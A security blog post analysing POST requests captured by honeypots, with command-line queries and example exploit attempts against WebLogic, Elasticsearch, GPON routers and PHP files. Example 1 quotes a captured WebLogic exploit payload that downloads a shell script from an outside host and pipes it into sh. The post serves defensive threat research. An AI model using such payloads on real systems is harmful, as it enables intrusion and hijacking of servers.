Honeypot Data: POST Request Payloads
Any kind of post can hurt. Running into a fence post, a goal post or a POST request with a malicious payload can cause some pain. But I hope the number of times I use the word “post” in this blog post (ugh!) does not become too painful! However, this is a follow up to my initial post on a look into honeypot data. This time around the focus is on… you guessed it… POST requests! Fortunately, this post (ugh again!) will be more of sharing data, and less of me blabbing.
If you are unfamiliar with what a POST request is, the image to the left provides a simple explanation. The key is the contents of the body, which can come in different formats like: fields from an HTML form, XML, or JSON. Since data from the body is processed by the web application, there is the risk of malicious payloads exploiting the application. The data from honeypots clearly shows an effort to that end.
The POST Request Data
At the bottom of this post is the raw POST request data from honeypots. The display of the file was truncated due to its size, however, it is hosted on Github and you can download the complete file with this link. It contains all unique POST requests that has been collected (up until the end of June 2018). Also, the results were extracted from any service that received a POST request, not just services that listen on common HTTP ports (e.g. 80, 443, 8080, etc.). Finally, IP addresses in the Host header and Referer header have been redacted.
Out of curiosity, first I did some basic querying of the data to see if anything interesting turns up. Using a few command line tools I generated lists of all uniq URIs, User Agent headers, and Referer headers.
In the example commands I provide below you’ll notice I’m using the strings command. This was necessary since some of the payloads in the file caused the grep command to interpret it as binary data, and as a result, it would not process the file. The strings command will output only the text data from the file, which grep will then process.
strings post-data.txt | grep -i “^post” | sort | uniq
- Lots of probes for proxies
- Attempts at command execution and SQLi
- Elasticsearch probes
- Targeting several common applications, e.g. wordpress
- Requests for files associated with known webshells
User Agent Headers
strings post-data.txt | grep -i “^user-agent” | sort | uniq
- Scripted requests with Java, Python, curl, wget, etc.
- A fair amount of user agents indicating a mobile device
strings post-data.txt | grep -i “^referer” | sort | uniq
- One example with SQLi in the Referer header
- Many of the specified referer values end up being the same of the URL being requested.
If you take some time to browse the data, it will give you an idea of what is likely hitting your own web applications. Most of this ends up being noise. But being able to distinguish between what is noise and what are targeted attacks is key to defending your web applications.
POST Request Payloads
Very few of the POST request payloads are benign. The majority are either attempting brute force logins (typically WordPress) or attempting some flavor of remote code execution. I’ll highlight a handful of examples, but I invite you to browse the data yourself and see what you can find.
Example 1: WebLogic vulnerability
Certain versions of WebLogic are vulnerable to remote command execution. There is a CVE published on this, CVE-2017–10271. It has been primarily targeted for cryptocurrency mining, I talked about that and mention this vulnerability in a prior blog post. This exploit is still very much active in the wild. In the example below, I’ve made bold the commands it attempts to execute. It’s using the curl command to download another shell script, which will then perform several other nasty tasks. To find more WebLogic examples and several variations of this payload, search the data with the following string: /wls-wsat.
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
<soapenv:Header> <work:WorkContext xmlns:work=”http://bea.com/2004/06/soap/workarea/">
<array class=”java.lang.String” length=”3">
<void index=”0"><string>/bin/bash</string> </void>
<void index=”1"> <string>-c</string> </void>
<void index=”2"> <string>curl http://184.108.40.206/logo8.sh | sh</string> </void>
<void method=”start”/> </void> </java> </work:WorkContext> </soapenv:Header>
Example 2: Elasticsearch vulnerability
Elasticsearch continues to be a target. This was reported in 2015, and exploitation attempts in the wild are still very active. This is another remote code execution vulnerability, CVE-2015–1427. To find more Elasticsearch examples and several variations of this payload, search the data with the following string: /_search?pretty.
POST /_search?pretty HTTP/1.1
Example 3: Dasan GPON home router vulnerability
A more recently announced command injection vulnerability targets Dasan GPON home routers, CVE-2018–10562. To find more Dasan GPON home router examples and several variations of this payload, search the data with the following string: /GponForm.
POST /GponForm/diag_Form?images/ HTTP/1.1
Accept-Encoding: gzip, deflate
User-Agent: Hello, World
Example 4: Hello, Peppa!
Hello, Peppa! — also a more recent payload that has been seen by my honeypots and others. This payload targets various PHP files, e.g. /wuwu11.php, /xx.php, /sheep.php, /db.init.php, and /db_session.init.php to list a few. It also targets different parameter names. Since the payload itself appears to be benign, it is likely a test to see if the message Hello, Peppa! concatenated evaluation of 111111111*9 is returned in the response. Since this is a relatively new payload showing up in the wild, researchers and analysts are just starting to unwind what this payload is about. Some great analysis was very recently published by the SANS InfoSec Handlers Diary Blog. To find more Hello Peppa! examples and several variations of this payload, search the data with the following string: Hello, Peppa!.
POST /sheep.php HTTP/1.1
The examples above should give you a good idea of what you can find in POST request payloads. The review I’ve done on these payloads is really only the first step. Further investigation can be done to identify sources, malware, targets, and the overall objectives for these payloads. Ultimately, collecting and analyzing POST request data from honeypots is a great source for understanding threats in the wild, and if they could have an impact on your web applications.
Do you want run your own honeypot(s) and collect data like this?
If you are interested in running your own honeypot to capture data and perform your own analysis, I have a few tools for you. HoneyPy is a low to medium interaction honeypot that can be configured to report data into HoneyDB or several other destinations. An alternative to running HoneyPy is the HoneyDB Agent, more details on getting started here.